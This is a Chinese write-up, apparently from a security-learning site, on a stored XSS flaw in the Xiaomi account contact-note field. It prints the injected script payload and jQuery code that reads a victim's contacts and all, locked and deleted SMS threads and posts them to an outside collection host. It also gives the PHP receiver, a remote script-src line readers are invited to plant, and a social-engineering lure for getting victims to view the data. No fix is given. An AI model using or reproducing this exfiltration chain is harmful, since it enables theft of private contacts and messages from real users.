现在不是很流行一种功能叫摇摇手机分享联系人吗?故事从这里开始; 情景假设: A:嘿,MAN,你也用小米手机? B:当然了,小米手机杠杠的! A:我最近拿到了XX门主角的电话哦!看在朋友的份上…不过要到同步到电脑登陆i.xiaomi测试数据才能看到号码。 B:好的!好的! 于是,过后B屁颠屁颠的登陆i.xiaomi测试数据去看,结果什么也没有。与此同时,A在电脑的另一端收集到了B的小米账户名!手机联系人!手机短信! 下面开正题,登陆小米账户,在右侧会显示联系人的详细资料,如图: 可以看到是直接显示出来,而且对电话、邮件的格式没有进行过滤。 为了保险,我们选一个能写大量字符的地方,没错,那就是备注!
<Iframe src="http://HdhCmsTestbaidu测试数据"></iframe> <script>alert(/xss by cp0204/);</script>
写入成功! 谁说XSS价值不大,其实看你怎么利用罢了。试过抓包,但小米账户是https,抓包很困难,用 浏览器 就分析 继续深入 都抓出来,分别对应3个栏目,现在我们想办法收集这些数据 可以看到它是这样的,其中37009121是我的小米ID,后面跟的参数不知道什么,不管有用没用,但都可以通过JS取到 返回:{"result":"ok","description":"成功","data":{"content":{"9204442":{"content":{"id":9204442,"status":"custom","tag":10327278,"organizations":[{"title":"领导","company":"有关部门"}],"emails":[{"value":"Cp0204@qq测试数据","type":"home"}],"phoneNumbers":[{"value":"123456","type":"mobile"}],"displayName":"有关部门","note":"<Iframe src=\"http://HdhCmsTestbaidu测试数据\"><\/iframe> \n<script>alert(/xss by cp0204/);<\/script>"},"spinyin":"ygbm","type":"contact","pinyin":"youguanbumen"}},"lastPage":true,"letterIndex":{"Y":[9204442]},"group":[],"syncTag":10327278},"code":0}
网站已引入了jquery,那我就方便多了,写js获取数据//取联系人 result1 = getdata("/contacts/"+mid+"/full?syncTag=0"); //取短信 result2 = getdata("/sms/"+mid+"/full/thread?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//全部 result3 = getdata("/sms/"+mid+"/locked?syncTag=0&limit=20&_dc=1342338505981&readMode=older");//收藏 result4 = getdata("/sms/"+mid+"/deleted/thread??syncTag=0&limit=20&_dc=1342338505981&readMode=older");//已删除 function getdata(url) { var data $.ajax({ url: url, async: false, success: function(result){data = obj2str(result);}, }); return data; } …………
然后,收集$.post("http://cptimer.sinaapp测试数据/mi/mi.php?mid="+mid+"&data="+data,{mid:mid,data:data}, function(result){ alert(result); //return mid data });
顺便提一下,jq ajax是不可以跨域,但其实是可以提交,只是没有返回。所以这里post是可以的,mi.php<? $mid=$_REQUEST['mid']; $data=$_REQUEST['data']; echo "小米ID:".$_REQUEST["mid"]."\n账户数据:".$_REQUEST["data"]; ?>
如此一来,联系人、短信全收集,什么门也出来了 有没有小白在备注里加上以下,做下试验,仅供学习…<script src="http://cptimer.sinaapp测试数据/mi/mi.js"></script>
================== 最后总结=================== 小白学习,大牛就见笑了。小小的XSS,也是大大的问题。很多人鄙视XSS,大概那些人只会弹个窗罢了。 还有就是加上社工,怎么传那个联系人给别人。 而且,有小米手机的可以测试一下通过短信箱能不能攻击,能的话就更简单了!发条xss短信,然后叫他上小米账户看…也是另外一个思路,没有小米手机测试不了。 窃取这些东西还是很有价值的,你试想一下,你的联系人、短信全部泄露… 特别一些重要人员,例如…有关部门的有关领导修复方案:
你比我牛查看更多关于小米账户XSS 可获取私密资料 - 网站安全 - 自学的详细内容...